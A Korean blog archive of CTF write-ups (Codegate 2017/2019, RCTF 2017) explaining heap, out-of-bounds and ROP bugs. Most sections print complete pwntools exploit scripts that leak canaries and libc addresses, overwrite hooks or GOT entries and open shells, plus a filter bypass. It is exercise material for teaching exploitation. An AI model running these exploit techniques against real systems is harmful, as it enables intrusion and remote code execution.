    system = libcbase + libc.symbols["system"]
    oneshot= libcbase + 0x4526a
    malloc_hook = libcbase + libc.symbols["__malloc_hook"]

    print "off: {:016x}".format(libc.symbols["read"])
    print "libc: {:016x}".format(libcbase)
    print "system: {:016x}".format(system)
    print "malloc_hook: {:016x}".format(malloc_hook)

    con.send(p64(oneshot))

    con.interactive()

4. archiver

  • C++ binary, Out-of-bound

  • 해당 바이너리를 분석하기 위해 vtable 구조체와 멤버변수 구조체를 선언을 한 다음, 함수들을 분석해보면 아래의 decompress함수가 보이게 된다.

    __int64 __fastcall Compress::decompress(Compress *compress)
    {
     unsigned __int8 v2; // [rsp+6Ch] [rbp-24h]
     unsigned __int8 v3; // [rsp+6Dh] [rbp-23h]
     char v4; // [rsp+6Eh] [rbp-22h]
     uint8_t v5; // [rsp+6Fh] [rbp-21h]
     unsigned __int64 v6; // [rsp+70h] [rbp-20h]
     __int64 magic; // [rsp+78h] [rbp-18h]
     Compress *v8; // [rsp+80h] [rbp-10h]
     char v9; // [rsp+8Fh] [rbp-1h]

     v8 = compress;
     magic = 0LL;
     v6 = 0LL;
     if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&magic, 8LL) & 1 )
    {
       if ( magic == 0x393130322394D3C0LL )
      {
         if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&v6, 8LL) & 1 )
        {
           if ( v6 & 7 )
          {
             v9 = 0;
          }
           else
          {
             while ( 2 )
            {
               if ( 8 * compress->field_1A0 >= v6 )
              {
                 v9 = 1;
              }
               else
              {
                 compress->filemanager->vtable->read(compress->filemanager, (char *)&v5, 1LL);
                 v4 = v5 >> 6;
                 switch ( (unsigned __int64)(v5 >> 6) )
                {
                   case 0uLL:
                     if ( compress->vtable->set8byte_by_file(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   case 1uLL:
                     v3 = v5 & 0x3F;
                     if ( compress->filemanager->vtable->read(compress->filemanager, (char *)&v2, 1LL) & 1 )
                    {
                       if ( compress->vtable->set8byte(compress, v3, v2) & 1 )
                         continue;
                       v9 = 0;
                    }
                     else
                    {
                       v9 = 0;
                    }
                     break;
                   case 2uLL:
                     if ( compress->vtable->clear(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   case 3uLL:
                     v3 = v5 & 0x3F;
                     if ( compress->vtable->spray_8byte(compress, v5 & 0x3F) & 1 )
                       continue;
                     v9 = 0;
                     break;
                   default:
                     v9 = 0;
                     break;
                }
              }
               break;
            }
          }
        }
         else
        {
           v9 = 0;
        }
      }
       else
      {
         printf("bad magic %p\n", magic);
         v9 = 0;
      }
    }
     else
    {
       v9 = 0;
    }
     return v9 & 1;
    }
  • 위의 코드를 참조해 아래의 파일구조를 사용해야됌을 알 수 있다.

    File Structure
    Magic
    compressed_size
    compressed data
    ...
  • decompress를 진행할 때는 compressed data를 파싱해서 파일에서 1byte를 읽어 상위 2bit는 해당 함수들을 실행시키도록 구성되어있고, 필요에 따라서 1byte를 더 읽어 처리하기도 한다.

    각각 함수들을 분석해보면 아래와 같은 함수를 볼 수 있다.

    __int64 __fastcall Compress::set8byte(Compress *a1, unsigned __int8 a2, unsigned __int8 a3)
    {
     char v4; // [rsp+27h] [rbp-1h]

     if ( a1->field_1A0 >= (unsigned __int64)a3 )
    {
       a1->field_10[a2] = a1->field_190[a1->field_1A0 - a3];
       v4 = 1;
    }
     else
    {
       v4 = 0;
    }
     return v4 & 1;
    }
  • 위의 함수는 총 2byte를 사용하는 함수이며, a2는 해당 함수를 호출할 때 사용됐던 byte, a3는 추가적으로 읽은 byte를 사용하게 된다. 즉, field_10 배열의 max index(0~47)보다 큰 곳을 참조할 수 있게 되므로 field_190에 원하는 8byte 값을 저장해둔다음 아래의 Compress 구조체가 보여주는 것처럼 uncompress_msg 함수 포인터를 덮어씌워주면 된다.

    struct FileManager
    {
     vtable *vtable;
     std::istream *istream;
     __int64 offset;
    };

    struct Compress
    {
     vtable_compress *vtable;
     FileManager *filemanager;
     __int64 field_10[48]; // overflow possible
     uint64_t *field_190;
     __int64 field_198;
     __int64 field_1A0;
     __int64 uncompressed_size;
     void (__fastcall *uncompressed_msg)(__int64); // target
    };
  • 해당 바이너리에는 win이라는 system함수를 실행시켜주는 함수가 존재하므로 해당 함수 주소를 field_190에 저장해둔 뒤 overflow를 시켜주면 될 것이다.

    from pwn import *

    con = remote("110.10.147.111", 4141)

    size = 0x400 - 0x50

    ar = p64(0x393130322394D3C0) # magic
    ar += p64(size) # compress_size

    # save uncompressed_msg in heap
    for i in range(0x39):
    ar += p8(0b11000000 | 0b00110100) # spray 8byte (0x34)

    # uncompressed_size overwrite
    ar += p8(0b01000000 | 0b00110011)
    ar += p8(0x01)

    for i in range(0x21):
    ar += p8(0b01000000 | 0b00110011)
    ar += p8(0x01)

    #r = size - len(ar) - 3
    for i in range(0x39):
    ar += p8(0b11000000 | 0b00110011) # spray system("cat flag")

    # uncompressed_msg overwrite
    ar += p8(0b01000000 | 0b00110100)
    ar += p8(0x01)

    ar += p8(0x41)

    print len(ar)

    with open("payload", "wb") as f:
    f.write(ar)

    con.send(p32(len(ar)))
    con.send(ar)

    con.interactive()

5. PyProt3ct

  • python vm reversing

  • 문제에서 2개의 python 파일, byte code binary를 제공한다. 해당 파일들을 분석하기 위해 play.py를 먼저 살펴보면 난독화가 되어있는 것을 볼 수 있다.

    # ...
    def O0O0O0O00OO0O0O0O(OOO0OO0O000O0OOOO ,OOO0O0000OOOO0OO0):
       O0O0O0000OO0OOO0O=dict()
       OOOO0000OOO0OOO0O=1000
       OOOO0OO00OOOO000O=1001
       O00OOO0O00OOOOO0O=2001
       OO0OO00000000O00O=2002
       O0OO0OO0000O0O0OO=2003
       O0O000OOO0OOOO0OO=2004
       O000OOO00OOO0O00O=0
       OOO0OO0OO0OOO00O0=1
       O0OOOOOOOOO00OOOO=2
       OO0O0O0000000O00O=3
       OOO0OO00OOOO0O0OO=4
       O00OO0OO0O0O00OOO=5
       O0O0O0000OO0OOO0O[OOOO0000OOO0OOO0O]=0
       O0O0O0000OO0OOO0O[OOOO0OO00OOOO000O]=0
       O0O0O0000OO0OOO0O["flag"]=OOO0O0000OOOO0OO0
       OOO000O0O0OOO0OOO=0
       while OOO000O0O0OOO0OOO==0:
           O00OOO00000OO0OOO=O0O0O0000OO0OOO0O[OOOO0000OOO0OOO0O]
           OO0OO0OOOOO00OO00=OOO0OO0O000O0OOOO[O00OOO00000OO0OOO]
           O00OOO00000OO0OOO=O00OOO00000OO0OOO+OOO0OO0OO0OOO00O0
           OO000O0OOOOOOO0OO=OOO0OO0O000O0OOOO[O00OOO00000OO0OOO]
           O00OOO00000OO0OOO=O00OOO00000OO0OOO+OOO0OO0OO0OOO00O0
    # ...
  • 먼저 분석에 용이하도록 각각 함수들을 func%d 형태로 작성해주고 변수들또한 renaming을 해준 뒤, 각각 함수들이 하는 일들을 print를 통해 출력하고 파일로 뽑아냈다.

  • 해당 파일을 분석하기 위해서 열어보면 수많은 명령어들이 수행됐던 것을 볼 수 있는데, 의미 없는 대입 연산을 제거하여 패턴을 파악하기 쉽게 만들고, 코드의 중첩되는 부분을 함수형태로 생각하게 되면서 빠르게 분석이 가능해졌다. 코드들을 분석한 뒤, 암호화를 아래의 python코드로 구성했다

    from pwn import *

    def calc(value):
    # high dword stub
    a = value >> 32
    b = a ^ 0xffc2bdec
    c = b + 0xffc2bdec
    d = c & 0xffffffff
    high = d

    # low dword stub
    e = value & 0xffffffff
    f = e ^ 0xffc2bdec
    g = f + 0xffc2bdec
    h = g & 0xffffffff
    low = h

    v = ((low << 32) | high)
    byte = v & 0xff
    print hex(value), hex(v & 0xffffffffffffffff), hex((byte << 57) & 0xffffffffffffffff), hex((v >> 7) & 0xffffffffffffffff)
    return ((v >> 7) | (byte << 57)) & 0xffffffffffffffff

    def getHash(flag):
    assert len(flag) == 8

    value = u64(flag[::-1])
    for i in range(0x7f):
    value = calc(value)
    return value

    print hex(getHash("AAAAAAAA"))
  • 위의 암호화는 상위, 하위 4byte를 특정 연산 후 뒤집어 저장하는 형태를 가지며, v의 하위 1byte를 최상의 byte로 가져온다. 이 때 1bit는 하위에 계속 머물게 된다. 이 연산은 어느정도 최종값을 알고 있다면 역연산이 가능할 것으로 보여 분석을 해봤다.

  • 먼저 하위 1 bit의 처리를 해야하는데, 이는 msB가 홀수일 경우, 나머지 7byte에서 8byte쪽에 0x01을 or시켜주면 된다. 이렇게 처리하면 이전에 사용한 값을 구할 수 있게 된다.

    msb = r & 0xff00000000000000
    etc = r & 0x00ffffffffffffff

    a = ((msb >> 56) & 0xff)
    if a % 2 == 1:
       etc |= 0x0100000000000000

    byte = (msb >> 57) & 0x7f
    value = (etc << 7) | byte
  • 해당 값(value)을 상위, 하위 4byte로 low, high로 받아와준 뒤, calc함수에서 처음에 진행한 연산을 역연산해서 다시 조합해주면 그 이전 상태의 값이 나오게 된다.

    high, low = value & 0xffffffff, (value >> 32) & 0xffffffff

    high = (((high - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec) << 32
    low = ((low - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec
    return high | low
  • 그러므로 총 127번 위의 과정을 반복해주면 암호화 이전 값이 나오게 될 것이다. 아래는 최종 복호화 코드다.

    from pwn import *

    def calc(value):
    # high dword stub
    a = value >> 32
    b = a ^ 0xffc2bdec
    c = b + 0xffc2bdec
    d = c & 0xffffffff
    high = d

    # low dword stub
    e = value & 0xffffffff
    f = e ^ 0xffc2bdec
    g = f + 0xffc2bdec
    h = g & 0xffffffff
    low = h

    v = ((low << 32) | high)
    byte = v & 0xff
    print hex(value), hex(v & 0xffffffffffffffff), hex((byte << 57) & 0xffffffffffffffff), hex((v >> 7) & 0xffffffffffffffff)
    return ((v >> 7) | (byte << 57)) & 0xffffffffffffffff

    def getHash(flag):
    assert len(flag) == 8

    value = u64(flag[::-1])
    for i in range(0x7f):
    value = calc(value)
    return value

    def revcalc(r):
    msb = r & 0xff00000000000000
    etc = r & 0x00ffffffffffffff

    a = ((msb >> 56) & 0xff)
    if a % 2 == 1:
    etc |= 0x0100000000000000

    byte = (msb >> 57) & 0x7f
    value = (etc << 7) | byte
    high, low = value & 0xffffffff, (value >> 32) & 0xffffffff

    high = (((high - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec) << 32
    low = ((low - 0xffc2bdec) & 0xffffffff) ^ 0xffc2bdec
    return high | low

    def getHashRev(value):
    for i in range(127):
    value = revcalc(value)
    return p64(value)[::-1]

    print getHashRev(0xd274a5ce60ef2dca)

    flag: d34dPY27

6. god-the-reum

  • glibc heap exploit(tcache)

  • 이 문제는 tcache가 적용된 libc-2.27.so가 사용되었다. 기존 heap exploit기법들에 추가적으로 공격가능한 게 추가되었는데, 이는 fast bin 크기 정도의 tcache bin이 사용되는 걸 악용해야한다. 주어진 바이너리를 분석해보자.

    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
     int v3; // ST18_4
     int v4; // ST18_4
     int v6; // ST18_4
     char v7[88]; // [rsp+20h] [rbp-60h]
     unsigned __int64 v8; // [rsp+78h] [rbp-8h]
     __int64 savedregs; // [rsp+80h] [rbp+0h]

     v8 = __readfsqword(0x28u);
     setvbuf(stdout, 0LL, 2, 0LL);
     setvbuf(stdin, 0LL, 2, 0LL);
     while ( 1 )
    {
       printmenu();
       while ( getchar() != 10 )
        ;
       switch ( (unsigned int)&savedregs )
      {
         case 1u:
           create_wallet((wallet *)&v7[16 * wallet_count]);
           break;
         case 2u:
           v3 = sub_11DC();
           deposit((wallet *)&v7[16 * v3]);
           break;
         case 3u:
           v4 = sub_11DC();
           withdraw((wallet *)&v7[16 * v4]);
           break;
         case 4u:
           show((__int64)v7);
           break;
         case 5u:
           puts("bye da.");
           return 0LL;
         case 6u:
           v6 = sub_11DC();
           sub_1092((wallet *)&v7[16 * v6]);
           break;
         default:
           sub_11B3();
           break;
      }
    }
    }
  • 위와 같은 main이 주어지며 wallet을 생성하고 입금, 지불, 확인을 할 수 있고 추가적으로 관리자 기능이 존재한다. create_wallet을 통해 구조체를 얻을 수 있다.

    struct wallet
    {
     char *addr; // malloc(0x82)
     _QWORD *balance; // malloc(input_balance)
    };
  • 그리고 free가 되는 곳은 withdraw함수인데, 현재 가지고 있는 balance를 전부 소진(0이 돼야함)해야한다. 그리고 show함수에서는 wallet_count만큼 wallet을 출력해주므로 free(balance)가 된 wallet도 출력을 해주게 된다.

  • 하지만 이는 tcache bin에 들어갈 수 있는 크기(max fast bin size: 0x80)이면 main_arena와의 unlink를 진행하지 않는다. 그러므로 어느정도 큰값을 할당시켜 free시켜주면 main_arena의 주소가 leak된다.

  • 그리고 tcache bin의 특성상 실제로 free하지 않고 포인터를 가지고 있는데, heap chunk fd, bk에 해당하는 영역에 next chunk 주소가 들어가게 된다. 이는 다음 malloc(fastbin_size) 시, 참조하여 fd부분에 존재하는 next chunk를 그 다음 할당할 주소로 지정해준다. 이를 악용한 공격이 tcache_poisoning이다.

  • 아래는 해당 기법을 사용해 구성한 공격 코드이다.

    from pwn import *

    debug = False

    if debug:
    con = process("./godeth")
    else:
    #con = process("./godeth", env={"LD_PRELOAD":"./libc-2.27.so"})
    con = remote("110.10.147.103", 10001)

    def create(balance):
    con.sendlineafter("choice : ", "1")
    con.sendlineafter("how much initial eth? : ", str(balance))

    def deposit(idx, balance):
    con.sendlineafter("choice : ", "2")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("how much deposit? : ", str(balance))

    def withdraw(idx, balance):
    con.sendlineafter("choice : ", "3")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("how much you wanna withdraw? : ", str(balance))

    def show():
    con.sendlineafter("choice : ", "4")
    return con.recvuntil("\n\n")

    def dev(idx, balance):
    con.sendlineafter("choice : ", "6")
    con.sendlineafter("input wallet no : ", str(idx))
    con.sendlineafter("new eth : ", balance)

    if debug:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    oneshot = 0x4f2c5
    else:
    libc = ELF("./libc-2.27.so")
    oneshot = 0x10a38c

    create(0x1000)
    create(0x80)

    withdraw(0, 0x1000)
    withdraw(1, 0x80)
    withdraw(1, 0x00)

    leak = show().split("\n")
    heap = int(leak[2].split(", ballance ")[1])
    main_arena = int(leak[1].split(", ballance ")[1]) - 96
    libc_base = main_arena - (libc.symbols["__malloc_hook"] + 0x10)
    free_hook = libc_base + libc.symbols["__free_hook"]
    oneshot = libc_base + oneshot
    print "heap: {:016x}".format(heap)
    print "main_arena: {:016x}".format(main_arena)
    print "libc: {:016x}".format(libc_base)
    print "free_hook: {:016x}".format(free_hook)
    print "oneshot: {:016x}".format(oneshot)

    dev(1, p64(free_hook))

    create(0x80)

    dev(2, p64(oneshot))

    withdraw(0, main_arena + 96)

    con.interactive()


github: https://github.com/Kur0N3k0/Writeup/blob/master/codegate/2019/writeup.md

'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,

[RCTF 2017] RCalc

Write up/CTF 2017. 5. 22. 01:32
반응형

바이너리


RCalc

libc.so.6



어.. 일단 64bit rop는 처음이였기에 많이 오래걸렸었고.. 대략적인 풀이 방법으로는 아래와 같다.


1. urandom으로 생성된 canary 우회

2. __libc_start_main leak

3. libc.so.6 에서 /bin/sh를 찾아보면 자동으로 execve를 호출해주는 것을 확인

4. __libc_start_main - __libc_start_main_offset + execve_offset 을 통해 최종 목적 주소를 구함

5. got overwrite를 통한 execve호출

6. 플래그 확인



자세하게 설명하도록 하겠다.


main 함수는 아래와 같이 간단하게 시드를 할당 및 초기화 해주는 함수를 호출 후


타임 아웃 시간을 설정하고 계산을 해주는 함수를 호출 한다.





init_seedz 함수를 살펴보도록 하자.



할당된 순서는 c_result, seed, c_result->seed_arr, seed->seed_arr 이므로 만약 우리가 c_result의 seed_arr을 overflow 해줄 수만 있다면


seed->seed_arr을 덮어씌울 수 있을 것이다.




main함수로 돌아와서 calc함수를 살펴보도록 하자.




먼저 randomize를 호출해주는데 이는 위와 같이 처음에 seed를 urandom에서 불러와 값을 저장해주는 것을 볼 수 있다.


이 값이 나중에 get_current_seed 함수를 통해 불러와지게 되고 스택에 저장됐던 값과 비교를 통해 함수가 정상 반환될 지 결정한다.


scanf를 통해서 bof가 충분히 가능하고 scanf의 특성상 공백 문자전까지만 받아 올 수 있다는 것만 기억해두고


execute_calculator함수를 살펴보자.






간단하게 숫자 2개를 입력받아서 add, sub, mod, mul을 해준 뒤 결과값을 받아와 c_result->seed_arr[c_result->cnt++]에 저장해준다.


c_result와 seed를 덤프해보면 각각의 seed_arr의 차이가 0x110 바이트 차이가 난다.


그 공간에 8바이트의 결과값들을 저장해주는데 우리가 넣은 숫자 두개의 계산 결과가 c_result에 저장되기때문에


0x110 / 8번을 반복해서 넣어주면 정확하게 c_result->seed_arr보다 뒤에 있는 seed->seed_arr[0]에 덮어씌워진다.


이를 통해 randomize() ~ get_current_seed() 함수들을 우회가능해졌다.



그럼 Got Overwrite하기 위해서는 libc.so.6 의 함수중 하나의 주소를 알아야 offset을 통해 우리가 원하는 함수를 호출해 줄 수 있는데,

함수 우회도 되겠다.. bof를 통해서 puts나 printf쪽에 pop rdi; ret가젯을 찾아서 함수의 got를 rdi에 셋팅하고 호출해주면 되겠다.

기왕이면 Got Overwrite도 같이 하기 위해서 calc함수 시작의 printf부터 시작하도록 했다.

그렇게 되면 원하는 함수의 주소가 출력되고 그 다음에는 scanf가 있으니 rbp에 bss의 주소를 넣어주고

그에 따른 offset계산을 통해 우리가 원하는 값을 입력이 된다. (일석이조)

저는 fread_got를 잡았고 execve('/bin/sh')의 주소로 쓰면 된다.

그럼 바로 randomize함수에서 트리거가 되어 쉘이 따진다.


밑에 소스가 익스 코드임.


from pwn import * con = remote("rcalc.2017.teamrois.cn", 2333) #con = process("./RCalc/RCalc") libc = ELF("./RCalc/libc.so.6") seed = int("neko".encode("hex"), 16) def start(payload): con.recvuntil("Input your name pls: ") con.sendline(payload) con.recvuntil("Let's try our smart calculator\n") def add(): con.recvuntil("Your choice:") con.sendline("1") print con.recvuntil("input 2 integer: ") con.sendline(str(seed)) con.sendline(str(0x00)) def save(): con.recvuntil("Save the result? ") con.sendline("yes") def end(): con.recvuntil("Your choice:") con.sendline("5") libc_start_main_got = 0x601FF0 main = 0x401036 poprdi_ret = 0x00401123 poprsi_pop_ret = 0x00401121 sub_puts = 0x00400FC2 poprbp_ret = 0x00400970 bss = 0x602138 libc_start_main_offset = libc.symbols['__libc_start_main'] system_offset = 0x4526A print hex(libc_start_main_offset) print hex(system_offset) payload = "" payload += "A" * 0x108 payload += p64(seed) # seed payload += p64(bss) # dummy payload += p64(poprdi_ret) payload += p64(libc_start_main_got) payload += p64(sub_puts) start(payload) for i in range(0x110/8+1): print (i + 1), "Attempt" add() save() print "Get Libc Addr" end() libc_start_main = int(con.recv(8)[::-1].encode("hex"), 16) libc_system = libc_start_main - libc_start_main_offset + system_offset print "__libc_start_main : " + hex(libc_start_main) print "system : " + hex(libc_system) con.sendline(p64(libc_system)) con.interactive()


'Write up > CTF' 카테고리의 다른 글

[defcon26] racewars  (0) 2019.03.25
[Codegate 2019] writeup  (0) 2019.01.29
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

쉽다. angr로 코딩해서 돌려주면 되는데 양이 많다.


어쨋든 아래의 소스코드를 참조하면 된다.


#!/usr/bin/env python

import angr

for i in range(1, 102):
	p = angr.Project("./prob" + str(i))

	offset = 0
	with open("./prob" + str(i), "rb") as f:
		buf = f.read()
		offset = buf.index("\x83\xF8\x01\x75\x0C") + 5
	print hex(offset)

	arg1 = angr.claripy.BVS("arg1", 8*8*90) # 90 bytes
	st = p.factory.entry_state(args=["./prob" + str(i), arg1])
	pt = p.factory.path(st)
	ex = p.surveyors.Explorer(start=pt, find=0x400000 + offset)
	ex.run()
	print ex.found[0].state.se.any_str(arg1)


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

IDA로 까보면 아래와 같이 3개의 stage로 나뉘어 져있다.




먼저 Stage1을 까보면 아래와 같이 되있다.




Base64의 Collision을 일으키면 통과된다.


간단하니 구글 검색만 해도 나온다





Stage2는 길이가 달라지면 통과가 된단다.


Base64는 =로 Padding을 하니까 =를 넣어주면 통과된다.,





마지막으로 Stage3인데 필터링을 우회하면 된다.


preg_comp함수로 cat 이나 flag나 말고도 다른걸 막아뒀는데 head나 tail을 안막아놨으니


head fla* 를 base64로 인코딩해서 넣어주면 클리어가 되겠다.

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

babypwn



전형적인 bof 문제다 ROP 사용하면 해서 system 실행시키고


소켓으로 fd redirect 시켜서 플래그 확인해면 됌


아래는 Exploit.py



from pwn import *

con = remote("192.168.0.14", 9191) # local
#con = remote("110.10.212.130", 8888) # codegate

def dummy():
	con.recvn(276)

def canary_leak():
	print "[*] Canary Leak"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.send("1\x00")
	con.recvuntil("Input Your Message : ")
	con.sendline("A"*40)
	con.recvn(40)
	canary = con.recvn(4)[::-1]
	print "canary : " + hex(int(canary.encode("hex"), 16))
	return int(canary.encode("hex"), 16)

def ROP():
	canary = canary_leak()
	print "[*] ROP Stage"

	worker = 0x08048A71
	pop3ret = 0x8048eec
	system_plt = 0x8048620
	recv_plt = 0x80486e0
	bss = 0x804b1b4

	gadget = "/bin/ls 0>&4 1>&4\x00"

	print "[*] Pre-Payload Send"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += p32(canary)
	payload += "B" * 12
	
	payload += p32(recv_plt)
	payload += p32(pop3ret)
	payload += p32(0x04) # socket
	payload += p32(bss)
	payload += p32(len(gadget))
	payload += p32(0x00)
	payload += p32(system_plt)
	payload += p32(0x41414141)
	payload += p32(bss)

	con.sendline(payload)

	print "[*] Canary Null Inject"
	con.recvuntil("3. Exit\n")
	con.recvuntil("===============================\n")
	con.sendline("1")
	con.recvuntil("Input Your Message : ")

	payload  = ""
	payload += "A" * 40
	payload += "\x00"

	con.send(payload)

	print "[*] Triggering"
	con.recvuntil("3. Exit\n")
	print con.recvuntil("===============================\n")
	con.sendline("3") # triggering

	con.sendline(gadget)

	con.interactive()

ROP()


'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[RC3 2016] IMS-easy (150pt) *수정  (0) 2016.11.20
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,